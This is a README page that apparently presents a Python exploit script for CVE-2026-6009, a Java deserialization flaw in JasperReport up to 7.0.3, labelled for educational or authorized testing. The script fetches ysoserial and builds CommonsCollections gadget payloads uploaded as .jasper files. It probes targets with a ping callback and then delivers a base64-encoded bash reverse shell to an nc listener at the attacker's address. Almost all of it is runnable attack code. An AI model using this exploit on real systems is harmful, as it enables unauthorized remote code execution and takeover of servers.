README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-6009
JasperReport <= 7.0.3 - Java Deserialization vulnerability
Educational / Authorized Testing Only
Author : Pumila03 | Date : 2026-05-23
"""
from urllib.parse import urlparse
import requests
import subprocess
import argparse
import os
import base64
import time
# Install ysoserial uses to exploit gadget chains from JasperReport
def check_dependencies() -> bool:
if not os.path.exists("/tmp/ysoserial.jar"):
response = requests.get("https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar")
with open("/tmp/ysoserial.jar", "wb") as f:
f.write(response.content)
return os.path.exists("/tmp/ysoserial.jar")
# Make the .jasper payload using ysoserial
def generate_payload(command : str, output_file: str, version : int):
subprocess.run(["java", "-jar", "/tmp/ysoserial.jar", f"CommonsCollections{version}", command], stdout=open(f"/tmp/{output_file}.jasper", "wb"), check=True)
# Check if the target is exploitable by pinging source
def detect_vulnerability(args, ip) -> bool:
exploitable = False
CC_version = 1
proc = subprocess.Popen(["tcpdump", "-i", "any", "-c", "1", f"icmp and src {ip}"])
while CC_version < 8 and not exploitable :
print(f"[*] Testing CommonsCollections{CC_version}...")
generate_payload(f"ping -c 1 {args.source}", "ping", CC_version)
requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/ping.jasper", "rb"), "application/octet-stream")})
try:
proc.wait(timeout=5)
exploitable = True
print("[+] The target is exploitable")
print(f"[*] Working version : CommonsCollections{CC_version}")
break
except:
proc.kill()
CC_version += 1
return exploitable
# Make an interactive reverse shell
def exploit(args):
b64_command = base64.b64encode(f'/bin/bash -i >& /dev/tcp/{args.source}/{args.port} 0>&1'.encode()).decode()
print(f"[*] testing differents CommonsCollections version...")
for CC_version in range(1, 8):
os.system(f"fuser -k {args.port}/tcp 2>/dev/null")
generate_payload(f'bash -c {{echo,{b64_command}}}|{{base64,-d}}|bash', "shell", CC_version)
listener = subprocess.Popen(["nc", "-lnvp", args.port])
time.sleep(0.5)
requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/shell.jasper", "rb"), "application/octet-stream")})
try:
listener.wait(5)
break
except:
listener.kill()
print(f"[-] No connection with CC{CC_version}. Testing another version...")
def main():
#Parser
parser = argparse.ArgumentParser(description="This exploit uses the vulnerability from CVE-2026-6009 to execute a reverse shell on the target.")
parser.add_argument("-t", "--target", dest="target", required=True, help="This specify the exact location where to post the .jasper file")
parser.add_argument("-s", "--source", dest="source", required=True, help="This specify the IP address where the reverse shell will connect")
parser.add_argument("-p", "--port" ,dest="port", required=True, help="This specify the port where the reverse shell will connect on your machine")
args = parser.parse_args()
print(f"[*] Target : {args.target}")
print(f"[*] Attacker : {args.source}:{args.port}")
ip = urlparse(args.target).hostname
if check_dependencies():
print("[+] Dependencies installed")
else :
print("[-] Dependencies cannot be Installed. You must download ysoserial in /tmp")
print("[*] Exiting")
if not detect_vulnerability(args, ip) :
print("[-] Target is not exploitable. Exiting")
return
exploit(args)
if __name__ == "__main__":
main()